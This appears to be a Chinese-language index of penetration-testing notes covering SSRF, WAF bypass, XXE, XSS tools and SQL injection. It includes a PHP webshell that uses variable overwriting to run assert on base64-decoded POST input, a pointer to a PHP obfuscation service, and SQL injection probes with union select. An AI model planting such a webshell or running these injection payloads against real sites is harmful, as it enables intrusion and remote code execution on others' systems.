ssrf

目录漏洞发现web服务类数据库类大数据类文件共享远程访问邮件服务其它服务 漏洞发现 web服务类 数据库类 大数据类 文件共享 远程访问 邮件服务 其它服务

目录waf绕过代码拦截行为拦截 waf绕过 代码拦截 变量覆盖 <?php $a = $_GET['x']; $$a = $_GET['y']; $b(base64_decode($_POST['z'])); // ?x=b&y=assert // $a=b $$a=assert $b assert($_POST['z']); ?> 加密混淆 在线加密接口 https://www.phpjiami.com/phpjiami.html 一个开源加密混淆 PHP

目录XXE&XML之利用检测如何查找该漏洞？ XXE&XML之利用检测 如何查找该漏洞？ 查看请求的数据包中是否有xml格式的数据。 如果有就可以构造payload发起请求，观察响应结果。 造成该漏洞的原因就是对于该格式的请求数据没有进行严格的过滤。 ...

目录xss跨站xss工具使用防御vs绕过其它问题 xss跨站 xss工具使用 XSStrike使用 https://github.com/s0md3v/XSStrike #自动化工具说明 XSStrike主要特点反射和 DOM XSS 扫描 多线程爬虫||Context分析||可配置的核心||检测和规避 WAF||老旧的 JS 库扫描||智能payload生成器||手工制作的 HTML & JavaScript 解析器||强大的fuzzing引擎||盲打 XSS 支持||高效的工作流||

目录1 数据库注入2 sql注入数据库类型提交方法数据类型查询方式注入拓展WAF绕过3 MySQL注入信息收集高权限注入相关防注入 1 数据库注入 2 sql注入 数据库类型 Access sqlmap判断是否存在注入 暴力破解 回显 index.php?id=1 order by 4 猜表 index.php?id=1 union select 1,2,3,4 index.php?id=1 union select 1,admin,3,4 # 是否有admin表 Access注入